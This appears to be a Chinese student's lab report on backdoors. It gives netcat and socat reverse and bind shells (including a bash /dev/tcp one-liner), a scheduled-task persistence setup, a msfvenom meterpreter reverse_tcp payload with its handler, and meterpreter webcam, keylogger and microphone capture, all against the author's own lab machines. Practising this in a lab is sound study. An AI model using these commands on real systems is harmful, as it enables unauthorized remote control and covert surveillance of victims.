Exp2 后门原理与实践 Week4 - 20165201

Exp2 后门原理与实践 Week4 - 20165201


(由于图片比较大,看的时候需要关闭侧边栏~)

学习目标

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)

(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告

学习内容

  • 使用nc实现win,mac,Linux间的后门连接
  • meterpreter的应用
  • MSF POST 模块的应用

实验环境

  • macOS Mojave
  • Kali
  • Windows7

相关知识

1.后门概念

后门就是不经过正常认证流程而访问系统的通道。

哪里有后门呢?

  • 编译器留后门
  • 操作系统留后门
  • 最常见的当然还是应用程序中留后门
  • 还有就是潜伏于操作系统中或伪装为特定应用的专用后门程序。

下面是近些年的一些例子:

1、编译器:苹果Xcode后门事件。苹果Xcode后门事件中招的APP包括:微信、网易云音乐、滴滴出行、12306等76个软件,影响到几亿用户。
2、操作系统:政府VS厂商。苹果公开拒绝FBI要求设置后门的要求。那些没拒绝的当然不会说话。
3、操作系统:深入解读MS14-068漏洞:微软精心策划的后门?。其实细节我也没太看懂,看出来蛮可疑。
4、固件:更多思科路由器发现后门:中国有4台
5、应用:研究人员发现macOS版Skype内置了后门
6、应用:从广升“后门”事件看企业道德底线
7、应用:如何评价乌云漏洞平台曝百度旗下多款App存在WormHole后门?

相对狭义的后门的概念:

  • 特指潜伏于操作系统中专门做后门的一个程序
  • “坏人”可以连接这个程序
  • 远程执行各种指令
  • 概念和木马有重叠

首先得有这么一个程序

  • netcat 系列
  • meterpreter
  • intersect
  • ...特别多

其次得放到系统里

  • 正版软件故意或被攻击,包含后门
  • 正版库文件中包含后门
  • 本质上,需要诱骗你下载操作的,都属于各种钓鱼吧
    • 安装包中包含后门,放到网上供下载
    • 绑定到特定文件中,放到网上供下载
    • 直接发送恶意程序给你
    • 直接发送攻击性钓鱼链接给你,恶意网站种马
    • 捡到个U盘,打开个文件看看?
    • 煤女帅锅拿U盘直接拷给你
    • 攻击系统漏洞,获取控制权后,安装后门

再次还得运行起来

  • 开机自启动技术
  • win的定时任务
  • linux的cron
  • 伪装成常用软件,诱使用户点击
  • 木马化正常软件

最后还得不被本机的恶意代码检测程序发现

  • 恶意代码免杀技术

也不能被本机的或网络上的防火墙发现

  • 反弹式连接
  • 加密连接
  • 隧道技术

2. 常用后门工具

2.1 NC 或 netcat

是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

  • Linux: 一般自带netcat,"man netcat" 或"man nc"可查看其使用说明。
  • Windows: 课程主页附件中下载ncat.rar解压即可使用。
  • Mac: 系统自带,"man nc",查看其使用说明。

下面是NCAT常用参数!!!

-h 查看帮助信息  
-g hop1[,hop2,...]         松散源路由跳点(最多8个)  
-G <n>                     指向器数目 (4,8,12,...)  
-d, --delay <time>         同时建立的最大连接数  
-o, --output <filename>    输出文件  
-x, --hex-dump <filename>  十六进制输出文件  
-i, --idle-timeout <time>  空闲读/写超时时间  
-p, --source-port port     指定特定的源端口
-s, --source addr          指定特定的源ip
-l, --listen               绑定并监听传入的连接
-k, --keep-open            在监听模式下接受多个连接
-t, --telnet               应答Telnet握手协议
-u, --udp                  使用udp代替默认的tcp
    --sctp                 使用sctp代替默认的tcp
-w, --wait <time>          连接超时时间
-e,                        参数后面跟一可执行程序的名称,当一个连接(入或出)被建立时,这个程序被运行。尤其当NetCat以服务器端运行时,-e参数使其有点象inetd了,只是只能运行一个进行而已。需要说明的是,-e后的程序不能从NetCat的命令行接收参数,如果有参数要传递,可能需要一个脚本

2.2 Meterpreter

  • 后门就是一个程序
  • 传统的理解是:有人编写一个后门程序,大家拿来用。
  • 后来有一些牛人呢,就想编写一个平台能生成后门程序。这个平台呢,把后门的
  • 基本功能(基本的连接、执行指令),
  • 扩展功能(如搜集用户信息、安装服务等功能),
  • 编码模式,
  • 运行平台,
  • 以及运行参数
    全都做成零件或可调整的参数。用的时候按需要组合,就可以生成一个可执行文件。

典型的平台就包括有:

  • intersect
  • Metaspolit的msfvenom指令
  • Veil-evasion

我们接下来学习如何使用msfenom生成后门可执行文件。我们要生成的这个后门程序是Meterpreter

揭开Meterpreter的神秘面纱介绍了meterpreter的一些底层原理

实验具体内容

1.用nc或netcat获取远程主机的Shell

1.1 Win获得Linux Shell

1.1.1 windows 打开监听

  • ipconfig命令查看本机IP为192.168.109.158

关闭Windows7的防火墙!!!

  • 下载ncat并进入该目录,输入ncat.exe -l -p 5201命令

1.1.2 Windows反弹连接Linux

1.1.3 Linux下看到Windows的命令提示

1.2 Linux获得Win Shell

  • 用ifconfig命令查看本机IP为192.168.109.149

  • Linux运行监听指令,输入命令nc -l -p 5201

  • Windows反弹连接Linux,在ncat目录下输入命令ncat.exe -e cmd.exe 192.168.109.149 5201

  • 然后在Linux上就可以操纵Windows的cmd啦!!

1.3 Mac获取Win shell

  • macOS上打开终端,输入命令ifconfig查看本机IP为172.20.10.2
    输入命令nc -l 5201运行监听指令
  • Windows反弹连接macOS,在ncat目录下输入命令ncat.exe -e cmd.exe 172.20.10.2 5201
    然后就成了!!!

1.4 Win获取Mac Shell

  • Windows下启动监听,在ncat目录下输入命令:ncat.exe -l -p 5201
  • Mac下连接Win,输入命令bash -i >& /dev/tcp/172.20.10.2/5201 0>&1
  • Win获得Mac的shell !!!

1.5 Mac获取Linux Shell

  • 输入命令nc -l 5201运行监听指令
    过程类似

1.6 Linux获取Mac Shell

  • 过程类似上面的,结果如下

2.使用socat获取主机操作Shell, 任务计划启动

  • 在Windows 7中打开开始菜单,找到管理工具并打开,找到任务计划程序并打开,点击创建任务

  • 在触发器一栏中点击新建

  • 然后将开始任务设置为工作站锁定时

  • 点击常规选项卡,输入学号

  • 再点击操作选项卡,点击新建,程序或脚本中选择socat.exe路径,在添加参数一栏中写`tcp-listen:5201 exec:cmd.exe,pty,stderr(作用是把cmd.exe绑定到端口5201,同时把cmd.exe的stderr重定向到stdout上),点击确定保存设置

  • 在左侧的任务计划程序里面找到20165201任务,右键点击,然后运行,会出现下图的情况

  • 在Kali Linux中输入socat - tcp:192.168.109.158:5201命令,可以成功得到一个cmd shell !!!

3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

  • 在kali输入指令
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.109.149 LPORT=5201 -f exe > 20165201_backdoor.exe生成后门程序

  • 在Win7中输入ncat.exe -lv 5201 > 20165201_backdoor.exe进入接收文件模式

  • 在kali中输入nc -nv 192.168.109.158 5201 < 20165201_backdoor.exeIP为win7的IP

  • 传输成功!

  • 在Kali中打开一个终端,输入msfconsole进入msf控制台

  • 每次进去图案都不一样!

  • 依次输入以下命令:

  • 输入use exploit/multi/handler使用监听模块,设置payload

  • 输入set payload windows/meterpreter/reverse_tcp使用和生成后门程序时相同的payload

  • 输入set LHOST 192.168.109.149

  • 输入set LPORT 5201

  • 输入show options进行查看,显示设置的ip地址和端口号

  • 输入exploit开始监听

  • 此时在win7中运行后门程序20165201_backdoor.exe
  • kali获得win10的连接,并且得到了远程控制的shell

4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

4.1 用help命令查看meterpreter基本功能

4.2 输入webcam_snap使用摄像头进行拍照


我这摄像头拍出来就是黑的。。。但是在Mac上就可以正常使用摄像头,而且录像是好的,底下有图,不知道为啥只有拍照不可以。。。

4.3 输入keyscan_start开始记录击键的过程,输入keyscan_dump读取击键的记录

4.4 用webcam_stream命令可以录像!

录像的时候摄像头就是好的!

4.5 用record_mic命令录一段音频

实验感想

  这次的实验其实并不难,原本以为后门是个很难的东西,一直听学长说,自己动手操作起来还是很好上手的~下次我要多留出几天做实验,就怕特殊情况的发生
  我做实验+写报告的一天里,经历了上周室友遭受的急性肠胃炎......我俩真是多灾多难啊...服了。然后我的Mac还崩了好多次,重装了好几次win7,晚上的时候终于弄好了,然后就急性肠胃炎了...写这个的时候我肚子又开始疼,还有些恶心想吐。

posted @ 2019-03-24 21:48  磁暴魔王特斯拉  阅读(279)  评论(0编辑  收藏  举报